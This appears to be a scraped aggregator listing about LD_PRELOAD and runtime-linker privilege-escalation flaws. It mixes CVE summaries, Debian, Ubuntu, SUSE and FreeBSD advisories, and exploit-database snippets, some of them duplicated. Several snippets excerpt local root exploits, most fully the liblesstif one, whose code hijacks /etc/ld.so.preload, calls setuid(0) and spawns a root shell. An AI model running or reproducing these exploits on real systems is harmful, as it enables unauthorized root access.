DEBIAN-CVE-2010-3394

The 1 texmacs and 2 tmmupadhelp scripts in TeXmacs 1.0.7.4 place a zero-length directory name in the LDLIBRARYPATH, which allows local users to gain privileges via a Trojan horse shared library in the current working directory...

UBUNTU-CVE-2010-3393

magics-config in Magics++ 2.10.0 places a zero-length directory name in the LDLIBRARYPATH, which allows local users to gain privileges via a Trojan horse shared library in the current working directory...

UBUNTU-CVE-2010-3380

The 1 init.d/slurm and 2 init.d/slurmdbd scripts in SLURM before 2.1.14 place the . dot directory in the LDLIBRARYPATH, which allows local users to gain privileges via a Trojan horse shared library in the current working directory...

FreeBSD Security Advisory (FreeBSD-SA-09:16.rtld.asc)

The remote host is missing an update to the system as announced in the referenced advisory FreeBSD-SA-09:16.rtld.asc SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

FreeBSD ld-elf本地权限提升漏洞

FreeBSD是一款开放源代码的基于BSD的操作系统。 在ld-elf对环境变量处理存在本地权限提升漏洞 FreeBSD包含的Run-Time Link-Editor rtld存在问题，本地攻击者可以利用漏洞获得root特权。 一般情况下，在执行类似"ping"或"su" setugid的程序时，RTLD不允许设置类似LDPRELOAD这类的危险环境变量，不过存在漏洞可让rtld被诱使在setugid程序上接收LD变量，导致特权提升。 FreeBSD 8.0-RELEASE FreeBSD 7.1-RELEASE 厂商解决方案 目前没有解决方案提供：...

Ordinary users by udev vulnerability to elevate to root permissions demo-vulnerability warning-the black bar safety net

Recently exposed by the udev permissions hint of vulnerability, as long as with normal user permissions, you can elevate to root privileges, the experiment a handful, really easy to upgrade. Put the following code saved as test. sh file !/ bin/sh Linux 2.6 bug found by Sebastian Krahmer lame splo...

Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit

No description provided by source. !/bin/sh Linux 2.6 bug found by Sebastian Krahmer lame sploit using LD technique by kcope in 2009 tested on debian-etch,ubuntu,gentoo do a 'cat /proc/net/netlink' and set the first arg to this script to the pid of the netlink socket the pid is udevdpid - 1 most ...

Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit

Exploit for linux platform in category local exploits ======================================================== Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit ======================================================== !/bin/sh Linux 2.6 bug found by Sebastian Krahmer lame sploit using LD...

Linux 2.6 Kernel UDEV Exploit

!/bin/sh Linux 2.6 bug found by Sebastian Krahmer lame sploit using LD technique by kcope in 2009 tested on debian-etch,ubuntu,gentoo do a 'cat /proc/net/netlink' and set the first arg to this script to the pid of the netlink socket the pid is udevdpid - 1 most of the time + sploit has to be UNIX...

DEBIAN-CVE-2009-0415

Untrusted search path vulnerability in trickle 1.07 allows local users to execute arbitrary code via a Trojan horse trickle-overload.so in the current working directory, which is referenced in the LDPRELOAD path...

Solaris Runtime Linker (ld.so.1) Buffer Overflow Exploit (SPARC version

No description provided by source. / ld.so.1 exploit SPARC coded by: osker178 bjr213 psu.edu Alright, so this exploits a fairly standard buffer overflow in the default Solaris runtime linker ld.so.1 discovery by Jouko Pynnonen Only real deviation here from the standard overflow and return into li...

HP-UX 11i - 'swmodify' Local Stack Overflow / Local Privilege Escalation

/ HP-UX swmodify buffer overflow exploit ======================================= HP-UX 'swmodify' contains an exploitable stack overflow in the handling of command line arguements. Specifically the problem occurs due to insufficent bounds checking in the "-S" optional arguement. 'swmodify' is...

liblesstif 2-0.93.94-4mdk - 'DEBUG_FILE' Local Privilege Escalation

!/bin/sh echo echo "mtink libXm local root exploit" echo " [email protected] " echo umask 000 export DEBUGFILE="/etc/ld.so.preload" cat /tmp/lib.c void initvoid if getuid!=0 && geteuid==0 setuid0; unlink"/etc/ld.so.preload"; execl"/bin/bash", "bash", 0; EOF /usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c...

SUSE-SA:2006:007: binutils,kdelibs3,kdegraphics3,koffice,dia,lyx

The remote host is missing the patch for the advisory SUSE-SA:2006:007 binutils,kdelibs3,kdegraphics3,koffice,dia,lyx. A SUSE specific patch to the GNU linker 'ld' removes redundant RPATH and RUNPATH components when linking binaries. Due to a bug in this routine ld occasionally left empty RPATH...

CVE-2006-0646

ld in SUSE Linux 9.1 through 10.0, and SLES 9, in certain circumstances when linking binaries, can leave an empty RPATH or RUNPATH, which allows local attackers to execute arbitrary code as other users via by running an ld-linked application from the current directory, which could contain an...

CVE-2006-0646

ld in SUSE Linux 9.1 through 10.0, and SLES 9, in certain circumstances when linking binaries, can leave an empty RPATH or RUNPATH, which allows local attackers to execute arbitrary code as other users via by running an ld-linked application from the current directory, which could contain an...

CVE-2006-0646

ld in SUSE Linux 9.1 through 10.0, and SLES 9, in certain circumstances when linking binaries, can leave an empty RPATH or RUNPATH, which allows local attackers to execute arbitrary code as other users via by running an ld-linked application from the current directory, which could contain an...

Solaris 10 (x86) : 121208-03

SunOS 5.10x86: ld & libc.so.1 Patch. Date this patch was last updated by Sun : Feb/21/06 %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Ubuntu 4.10 / 5.04 : binutils regression (USN-136-2)

It was discovered that the packages from USN-136-1 had a flawed patch with regressions that caused the ld linker to fail. The updated packages fix this. We apologize for the inconvenience. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu...

USN-136-2: Fixed packages for USN-136-1

It was discovered that the packages from USN-136-1 had a flawed patch with regressions that caused the ld linker to fail. The updated packages fix this. We apologize for the inconvenience...